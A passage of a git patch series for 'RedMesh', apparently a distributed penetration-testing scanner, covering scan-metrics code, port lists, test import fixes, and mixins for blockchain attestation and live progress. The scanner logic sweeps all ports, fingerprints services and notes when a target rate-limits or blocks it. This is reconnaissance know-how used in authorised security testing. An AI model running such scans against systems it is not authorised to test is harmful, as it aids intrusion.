+ 1 - - def _compute_stats(self, values: list) -> dict | None: - if not values: - return None - sorted_v = sorted(values) - n = len(sorted_v) - mean = sum(sorted_v) / n - median = sorted_v[n // 2] if n % 2 else (sorted_v[n // 2 - 1] + sorted_v[n // 2]) / 2 - stddev = statistics.stdev(sorted_v) if n > 1 else 0 - p95 = sorted_v[int(n * 0.95)] if n >= 20 else sorted_v[-1] - p99 = sorted_v[int(n * 0.99)] if n >= 100 else sorted_v[-1] - return { - "min": round(sorted_v[0], 4), - "max": round(sorted_v[-1], 4), - "mean": round(mean, 4), - "median": round(median, 4), - "stddev": round(stddev, 4), - "p95": round(p95, 4), - "p99": round(p99, 4), - "count": n, - } - - def _compute_phase_durations(self) -> dict | None: - durations = {} - for phase, start in self._phase_starts.items(): - end = self._phase_ends.get(phase, time.time()) - durations[phase] = round(end - start, 2) - return durations if durations else None - - def _compute_success_windows(self, window_size: float = 60.0) -> list | None: - if not self._connection_log: - return None - windows = [] - start_time = self._connection_log[0][0] - end_time = self._connection_log[-1][0] - t = start_time - while t < end_time: - w_end = t + window_size - entries = [(ts, ok) for ts, ok in self._connection_log if t <= ts < w_end] - if entries: - rate = sum(1 for _, ok in entries if ok) / len(entries) - windows.append({ - "window_start": round(t - start_time, 1), - "window_end": round(w_end - start_time, 1), - "success_rate": round(rate, 3), - }) - t = w_end - return windows if windows else None - - def _detect_rate_limiting(self) -> bool: - windows = self._compute_success_windows() - if not windows or len(windows) < 3: - return False - # Detect: last 2 windows have significantly lower success rate than first 2 - first = sum(w["success_rate"] for w in windows[:2]) / 2 - last = sum(w["success_rate"] for w in windows[-2:]) / 2 - return first > 0.5 and last < first * 0.7 - - def _detect_blocking(self) -> bool: - windows = self._compute_success_windows() - if not windows or len(windows) < 2: - return False - # Detect: any window with 0% success rate after a window with >50% success - for i in range(1, len(windows)): - if windows[i - 1]["success_rate"] > 0.5 and windows[i]["success_rate"] == 0: - return True - return False - - def _compute_port_distribution(self) -> dict | None: - if not self._open_ports: - return None - well_known = sum(1 for p in self._open_ports if p <= 1023) - registered = sum(1 for p in self._open_ports if 1024 <= p <= 49151) - ephemeral = sum(1 for p in self._open_ports if p > 49151) - return {"well_known": well_known, "registered": registered, "ephemeral": ephemeral} - - def _compute_coverage(self) -> dict | None: - if self._ports_in_range == 0: - return None - pct = round(self._ports_scanned / self._ports_in_range * 100, 1) if self._ports_in_range else 0 - return { - "ports_in_range": self._ports_in_range, - "ports_scanned": self._ports_scanned, - "ports_skipped": self._ports_skipped, - "coverage_pct": pct, - "open_ports_count": len(self._open_ports), - } - - def build(self) -> ScanMetrics: - """Build ScanMetrics from collected raw data. Safe to call at any time.""" - total_connections = sum(self._connection_outcomes.values()) - outcomes = dict(self._connection_outcomes) - if total_connections > 0: - outcomes["total"] = total_connections - - probes_attempted = len(self._probe_results) - probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") - probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) - probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") - - banner_total = self._banner_confirmed + self._banner_guessed - return ScanMetrics( - phase_durations=self._compute_phase_durations(), - total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, - port_scan_delays=self._compute_stats(self._port_scan_delays), - connection_outcomes=outcomes if total_connections > 0 else None, - response_times=self._compute_stats(self._response_times), - slow_ports=None, - success_rate_over_time=self._compute_success_windows(), - rate_limiting_detected=self._detect_rate_limiting(), - blocking_detected=self._detect_blocking(), - coverage=self._compute_coverage(), - probes_attempted=probes_attempted, - probes_completed=probes_completed, - probes_skipped=probes_skipped, - probes_failed=probes_failed, - probe_breakdown=dict(self._probe_results) if self._probe_results else None, - port_distribution=self._compute_port_distribution(), - service_distribution=dict(self._service_counts) if self._service_counts else None, - finding_distribution=dict(self._finding_counts) if self._finding_counts else None, - open_port_details=list(self._open_port_details) if self._open_port_details else None, - banner_confirmation={"confirmed": self._banner_confirmed, "guessed": self._banner_guessed} if banner_total > 0 else None, - ) +from .metrics_collector import MetricsCollector COMMON_PORTS = [ From fa628f76263de7c4782cb3a0a8dc933353ba341f Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 14:01:00 +0000 Subject: [PATCH 042/114] refactor: rename redmesh_utils to pentester_worker --- .../business/cybersec/red_mesh/constants.py | 12 +++++++ .../cybersec/red_mesh/pentest_worker.py | 11 +----- .../cybersec/red_mesh/pentester_api_01.py | 2 +- .../cybersec/red_mesh/test_redmesh.py | 34 +++++++++---------- 4 files changed, 31 insertions(+), 28 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index c426cc46..d6face4a 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -217,6 +217,18 @@ LOCAL_WORKERS_MAX = 16 LOCAL_WORKERS_DEFAULT = 2 +# ===================================================================== +# Port lists +# ===================================================================== + +COMMON_PORTS = [ + 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, + 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, + 8080, 8443, 9200, 11211 +] + +ALL_PORTS = list(range(1, 65536)) + # ===================================================================== # Risk score computation # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/pentest_worker.py index a496b006..caa51f9c 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -14,22 +14,13 @@ WELL_KNOWN_PORTS as _WELL_KNOWN_PORTS, FINGERPRINT_TIMEOUT, FINGERPRINT_MAX_BANNER, FINGERPRINT_HTTP_TIMEOUT, FINGERPRINT_NUDGE_TIMEOUT, SCAN_PORT_TIMEOUT, + COMMON_PORTS, ALL_PORTS, ) from .web_mixin import _WebTestsMixin from .metrics_collector import MetricsCollector -COMMON_PORTS = [ - 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, - 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, - 8080, 8443, 9200, 11211 -] - -# EXCEPTIONS = [64297] - -ALL_PORTS = [port for port in range(1, 65536)] - class PentestLocalWorker( _ServiceInfoMixin, _WebTestsMixin, diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index cc9d2012..c10c01fc 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -36,7 +36,7 @@ from urllib.parse import urlparse from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin -from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module +from .pentest_worker import PentestLocalWorker from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 4ff4c473..90a64e16 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4,7 +4,7 @@ import unittest from unittest.mock import MagicMock, patch -from extensions.business.cybersec.red_mesh.redmesh_utils import PentestLocalWorker +from extensions.business.cybersec.red_mesh.pentest_worker import PentestLocalWorker from xperimental.utils import color_print @@ -505,7 +505,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", + "extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", return_value=DummySocket(), ): worker._scan_ports_step() @@ -1208,7 +1208,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = modbus_response return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "modbus") @@ -1227,7 +1227,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = b"" return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "unknown") @@ -1247,7 +1247,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][37364], "mysql") @@ -1269,7 +1269,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = mysql_greeting return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][3306], "mysql") @@ -1288,7 +1288,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = telnet_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1307,7 +1307,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][8502], "telnet") @@ -1325,7 +1325,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = login_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1353,7 +1353,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = bad_modbus return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertNotEqual(worker.state["port_protocols"][1024], "modbus") @@ -1373,7 +1373,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_pkt return mock_sock - with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][9999], "mysql") @@ -4268,7 +4268,7 @@ class TestPhase16ScanMetrics(unittest.TestCase): def test_metrics_collector_empty_build(self): """build() with zero data returns ScanMetrics with defaults, no crash.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() result = mc.build() d = result.to_dict() @@ -4281,7 +4281,7 @@ def test_metrics_collector_empty_build(self): def test_metrics_collector_records_connections(self): """After recording outcomes, connection_outcomes has correct counts.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(100) mc.record_connection("connected", 0.05) @@ -4302,7 +4302,7 @@ def test_metrics_collector_records_connections(self): def test_metrics_collector_records_probes(self): """After recording probes, probe_breakdown has entries.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.record_probe("_service_info_http", "completed") @@ -4318,7 +4318,7 @@ def test_metrics_collector_records_probes(self): def test_metrics_collector_phase_durations(self): """start/end phases produce positive durations.""" import time - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.phase_start("port_scan") @@ -4330,7 +4330,7 @@ def test_metrics_collector_phase_durations(self): def test_metrics_collector_findings(self): """record_finding tracks severity distribution.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(10) mc.record_finding("HIGH") @@ -4345,7 +4345,7 @@ def test_metrics_collector_findings(self): def test_metrics_collector_coverage(self): """Coverage tracks ports scanned vs in range.""" - from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector mc = MetricsCollector() mc.start_scan(100) for i in range(50): From ceab9184f8f915fdd6361b5df22f0c1aa0b72caa Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 14:27:14 +0000 Subject: [PATCH 043/114] refactor: split the pentester_api_01 --- .../cybersec/red_mesh/attestation_mixin.py | 253 +++++ .../cybersec/red_mesh/live_progress_mixin.py | 245 ++++ .../cybersec/red_mesh/pentester_api_01.py | 1008 +---------------- .../cybersec/red_mesh/report_mixin.py | 238 ++++ .../business/cybersec/red_mesh/risk_mixin.py | 309 +++++ 5 files changed, 1051 insertions(+), 1002 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/attestation_mixin.py create mode 100644 extensions/business/cybersec/red_mesh/live_progress_mixin.py create mode 100644 extensions/business/cybersec/red_mesh/report_mixin.py create mode 100644 extensions/business/cybersec/red_mesh/risk_mixin.py diff --git a/extensions/business/cybersec/red_mesh/attestation_mixin.py b/extensions/business/cybersec/red_mesh/attestation_mixin.py new file mode 100644 index 00000000..4215b897 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/attestation_mixin.py @@ -0,0 +1,253 @@ +""" +Blockchain attestation mixin for RedMesh pentester API. + +Handles obfuscation of scan metadata (IPs, CIDs, execution IDs) and +submission of attestations to the Ratio1 blockchain via the bc client. +""" + +import ipaddress +from urllib.parse import urlparse + +from .constants import RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING + + +class _AttestationMixin: + """Blockchain attestation methods for PentesterApi01Plugin.""" + + def _attestation_get_tenant_private_key(self): + private_key = self.cfg_attestation_private_key + if private_key: + private_key = private_key.strip() + if not private_key: + return None + return private_key + + @staticmethod + def _attestation_pack_cid_obfuscated(report_cid) -> str: + if not isinstance(report_cid, str) or len(report_cid.strip()) == 0: + return "0x" + ("00" * 10) + cid = report_cid.strip() + if len(cid) >= 10: + masked = cid[:5] + cid[-5:] + else: + masked = cid.ljust(10, "_") + safe = "".join(ch if 32 <= ord(ch) <= 126 else "_" for ch in masked)[:10] + data = safe.encode("ascii", errors="ignore") + if len(data) < 10: + data = data + (b"_" * (10 - len(data))) + return "0x" + data[:10].hex() + + @staticmethod + def _attestation_extract_host(target): + if not isinstance(target, str): + return None + target = target.strip() + if not target: + return None + if "://" in target: + parsed = urlparse(target) + if parsed.hostname: + return parsed.hostname + host = target.split("/", 1)[0] + if host.count(":") == 1 and "." in host: + host = host.split(":", 1)[0] + return host + + def _attestation_pack_ip_obfuscated(self, target) -> str: + host = self._attestation_extract_host(target) + if not host: + return "0x0000" + if ".." in host: + parts = host.split("..") + if len(parts) == 2 and all(part.isdigit() for part in parts): + first_octet = int(parts[0]) + last_octet = int(parts[1]) + if 0 <= first_octet <= 255 and 0 <= last_octet <= 255: + return f"0x{first_octet:02x}{last_octet:02x}" + try: + ip_obj = ipaddress.ip_address(host) + except Exception: + return "0x0000" + if ip_obj.version != 4: + return "0x0000" + octets = host.split(".") + first_octet = int(octets[0]) + last_octet = int(octets[-1]) + return f"0x{first_octet:02x}{last_octet:02x}" + + @staticmethod + def _attestation_pack_execution_id(job_id) -> str: + if not isinstance(job_id, str): + raise ValueError("job_id must be a string") + job_id = job_id.strip() + if len(job_id) != 8: + raise ValueError("job_id must be exactly 8 characters") + try: + data = job_id.encode("ascii") + except UnicodeEncodeError as exc: + raise ValueError("job_id must contain only ASCII characters") from exc + return "0x" + data.hex() + + def _attestation_get_worker_eth_addresses(self, workers: dict) -> list[str]: + if not isinstance(workers, dict): + return [] + eth_addresses = [] + for node_addr in workers.keys(): + eth_addr = self.bc.node_addr_to_eth_addr(node_addr) + if not isinstance(eth_addr, str) or not eth_addr.startswith("0x"): + raise ValueError(f"Unable to convert worker node to EVM address: {node_addr}") + eth_addresses.append(eth_addr) + eth_addresses.sort() + return eth_addresses + + def _attestation_pack_node_hashes(self, workers: dict) -> str: + eth_addresses = self._attestation_get_worker_eth_addresses(workers) + if len(eth_addresses) == 0: + return "0x" + ("00" * 32) + digest = self.bc.eth_hash_message(types=["address[]"], values=[eth_addresses], as_hex=True) + if isinstance(digest, str) and digest.startswith("0x"): + return digest + return "0x" + str(digest) + + def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): + self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") + if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') + return None + tenant_private_key = self._attestation_get_tenant_private_key() + if tenant_private_key is None: + self.P( + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", + color='y' + ) + return None + + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 + node_count = len(workers) if isinstance(workers, dict) else 0 + target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) + report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID + node_eth_address = self.bc.eth_address + ip_obfuscated = self._attestation_pack_ip_obfuscated(target) + cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) + + self.P( + f"[ATTESTATION] Submitting test attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " + f"cid={cid_obfuscated}, sender={node_eth_address}" + ) + tx_hash = self.bc.submit_attestation( + function_name="submitRedmeshTestAttestation", + function_args=[ + test_mode, + node_count, + vulnerability_score, + execution_id, + ip_obfuscated, + cid_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + vulnerability_score, + execution_id, + ip_obfuscated, + cid_obfuscated, + ], + tx_private_key=tenant_private_key, + ) + + # Obfuscate node IPs for attestation metadata + obfuscated_node_ips = [] + if node_ips: + for ip in node_ips: + obfuscated_node_ips.append(self._attestation_pack_ip_obfuscated(ip)) + + result = { + "job_id": job_id, + "tx_hash": tx_hash, + "test_mode": "C" if test_mode == 1 else "S", + "node_count": node_count, + "vulnerability_score": vulnerability_score, + "execution_id": execution_id, + "report_cid": report_cid, + "node_eth_address": node_eth_address, + "node_ips_obfuscated": obfuscated_node_ips, + } + self.P( + "Submitted RedMesh test attestation for " + f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", + color='g' + ) + return result + + def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): + self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") + if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') + return None + tenant_private_key = self._attestation_get_tenant_private_key() + if tenant_private_key is None: + self.P( + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", + color='y' + ) + return None + + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 + node_count = len(workers) if isinstance(workers, dict) else 0 + target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) + node_eth_address = self.bc.eth_address + ip_obfuscated = self._attestation_pack_ip_obfuscated(target) + node_hashes = self._attestation_pack_node_hashes(workers) + + worker_addrs = list(workers.keys()) if isinstance(workers, dict) else [] + self.P( + f"[ATTESTATION] Submitting job-start attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " + f"workers={worker_addrs}, sender={node_eth_address}" + ) + tx_hash = self.bc.submit_attestation( + function_name="submitRedmeshJobStartAttestation", + function_args=[ + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + tx_private_key=tenant_private_key, + ) + + result = { + "job_id": job_id, + "tx_hash": tx_hash, + "test_mode": "C" if test_mode == 1 else "S", + "node_count": node_count, + "execution_id": execution_id, + "node_hashes": node_hashes, + "ip_obfuscated": ip_obfuscated, + "node_eth_address": node_eth_address, + } + self.P( + "Submitted RedMesh job-start attestation for " + f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, node_count: {node_count})", + color='g' + ) + return result diff --git a/extensions/business/cybersec/red_mesh/live_progress_mixin.py b/extensions/business/cybersec/red_mesh/live_progress_mixin.py new file mode 100644 index 00000000..7eeff542 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/live_progress_mixin.py @@ -0,0 +1,245 @@ +""" +Live progress mixin for RedMesh pentester API. + +Handles real-time scan progress publishing to the CStore `:live` hset +and merging of scan metrics across worker threads. +""" + +from .models import WorkerProgress +from .constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER + + +def _thread_phase(state): + """Determine which phase a single thread is currently in.""" + tests = set(state.get("completed_tests", [])) + if "correlation_completed" in tests: + return "done" + if "web_tests_completed" in tests: + return "correlation" + if "service_info_completed" in tests: + return "web_tests" + if "fingerprint_completed" in tests: + return "service_probes" + return "port_scan" + + +class _LiveProgressMixin: + """Live progress tracking methods for PentesterApi01Plugin.""" + + @staticmethod + def _merge_worker_metrics(metrics_list): + """Merge scan_metrics dicts from multiple local worker threads.""" + if not metrics_list: + return None + merged = {} + # Sum connection outcomes + outcomes = {} + for m in metrics_list: + for k, v in (m.get("connection_outcomes") or {}).items(): + outcomes[k] = outcomes.get(k, 0) + v + if outcomes: + merged["connection_outcomes"] = outcomes + # Sum coverage + cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) + cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) + cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) + cov_open = sum(m.get("coverage", {}).get("open_ports_count", 0) for m in metrics_list if m.get("coverage")) + if cov_range: + merged["coverage"] = { + "ports_in_range": cov_range, "ports_scanned": cov_scanned, + "ports_skipped": cov_skipped, + "coverage_pct": round(cov_scanned / cov_range * 100, 1), + "open_ports_count": cov_open, + } + # Sum finding distribution + findings = {} + for m in metrics_list: + for k, v in (m.get("finding_distribution") or {}).items(): + findings[k] = findings.get(k, 0) + v + if findings: + merged["finding_distribution"] = findings + # Sum service distribution + services = {} + for m in metrics_list: + for k, v in (m.get("service_distribution") or {}).items(): + services[k] = services.get(k, 0) + v + if services: + merged["service_distribution"] = services + # Sum probe counts + for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): + merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Merge probe breakdown (union of all probes) + probe_bd = {} + for m in metrics_list: + for k, v in (m.get("probe_breakdown") or {}).items(): + # Keep worst status: failed > skipped > completed + existing = probe_bd.get(k) + if existing is None or v == "failed" or (v.startswith("skipped") and existing == "completed"): + probe_bd[k] = v + if probe_bd: + merged["probe_breakdown"] = probe_bd + # Total duration: max across threads/nodes (they run in parallel) + merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) + # Phase durations: max per phase (threads/nodes run in parallel, so wall-clock + # time for each phase is the max across all of them) + all_phases = {} + for m in metrics_list: + for phase, dur in (m.get("phase_durations") or {}).items(): + all_phases[phase] = max(all_phases.get(phase, 0), dur) + if all_phases: + merged["phase_durations"] = all_phases + longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) + # Merge stats distributions (response_times, port_scan_delays) + # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values + for stats_field in ("response_times", "port_scan_delays"): + stats_list = [m[stats_field] for m in metrics_list if m.get(stats_field)] + if stats_list: + total_count = sum(s.get("count", 0) for s in stats_list) + if total_count > 0: + merged[stats_field] = { + "min": min(s["min"] for s in stats_list), + "max": max(s["max"] for s in stats_list), + "mean": round(sum(s["mean"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "median": round(sum(s["median"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "stddev": round(max(s.get("stddev", 0) for s in stats_list), 4), + "p95": round(max(s.get("p95", 0) for s in stats_list), 4), + "p99": round(max(s.get("p99", 0) for s in stats_list), 4), + "count": total_count, + } + # Success rate over time: take from the longest-running thread + if longest.get("success_rate_over_time"): + merged["success_rate_over_time"] = longest["success_rate_over_time"] + # Detection flags (any thread detecting = True) + merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) + merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) + # Open port details: union, deduplicate by port + all_details = [] + seen_ports = set() + for m in metrics_list: + for d in (m.get("open_port_details") or []): + if d["port"] not in seen_ports: + seen_ports.add(d["port"]) + all_details.append(d) + if all_details: + merged["open_port_details"] = sorted(all_details, key=lambda x: x["port"]) + # Banner confirmation: sum counts + bc_confirmed = sum(m.get("banner_confirmation", {}).get("confirmed", 0) for m in metrics_list) + bc_guessed = sum(m.get("banner_confirmation", {}).get("guessed", 0) for m in metrics_list) + if bc_confirmed + bc_guessed > 0: + merged["banner_confirmation"] = {"confirmed": bc_confirmed, "guessed": bc_guessed} + return merged + + def _publish_live_progress(self): + """ + Publish live progress for all active local scan jobs. + + Builds per-thread progress data and writes a single WorkerProgress entry + per job to the `:live` CStore hset. Called periodically from process(). + + Progress is stage-based (stage_idx / 5 * 100) with port-scan sub-progress. + Phase is the earliest (least advanced) phase across all threads. + Per-thread data (phase, ports) is included when multiple threads are active. + """ + now = self.time() + if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: + return + self._last_progress_publish = now + + live_hkey = f"{self.cfg_instance_id}:live" + ee_addr = self.ee_addr + + nr_phases = len(PHASE_ORDER) + + for job_id, local_workers in self.scan_jobs.items(): + if not local_workers: + continue + + # Build per-thread data + total_scanned = 0 + total_ports = 0 + all_open = set() + all_tests = set() + thread_entries = {} + thread_phases = [] + worker_metrics = [] + + for tid, worker in local_workers.items(): + state = worker.state + nr_ports = len(worker.initial_ports) + t_scanned = len(state.get("ports_scanned", [])) + t_open = sorted(state.get("open_ports", [])) + t_phase = _thread_phase(state) + + total_scanned += t_scanned + total_ports += nr_ports + all_open.update(t_open) + all_tests.update(state.get("completed_tests", [])) + worker_metrics.append(worker.metrics.build().to_dict()) + thread_phases.append(t_phase) + + thread_entries[tid] = { + "phase": t_phase, + "ports_scanned": t_scanned, + "ports_total": nr_ports, + "open_ports_found": t_open, + } + + # Overall phase: earliest (least advanced) across threads + phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] + min_phase_idx = min(phase_indices) if phase_indices else 0 + phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" + + # Stage-based progress: completed_stages / total * 100 + # During port_scan, add sub-progress based on ports scanned + stage_progress = (min_phase_idx / nr_phases) * 100 + if phase == "port_scan" and total_ports > 0: + stage_progress += (total_scanned / total_ports) * (100 / nr_phases) + progress_pct = round(min(stage_progress, 100), 1) + + # Look up pass number from CStore + job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + pass_nr = 1 + if isinstance(job_specs, dict): + pass_nr = job_specs.get("job_pass", 1) + + # Merge metrics from all local threads + merged_metrics = worker_metrics[0] if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) + + progress = WorkerProgress( + job_id=job_id, + worker_addr=ee_addr, + pass_nr=pass_nr, + progress=progress_pct, + phase=phase, + ports_scanned=total_scanned, + ports_total=total_ports, + open_ports_found=sorted(all_open), + completed_tests=sorted(all_tests), + updated_at=now, + live_metrics=merged_metrics, + threads=thread_entries if len(thread_entries) > 1 else None, + ) + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{ee_addr}", + value=progress.to_dict(), + ) + + def _clear_live_progress(self, job_id, worker_addresses): + """ + Remove live progress keys for a completed job. + + Parameters + ---------- + job_id : str + Job identifier. + worker_addresses : list[str] + Worker addresses whose progress keys should be removed. + """ + live_hkey = f"{self.cfg_instance_id}:live" + for addr in worker_addresses: + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{addr}", + value=None, # delete + ) diff --git 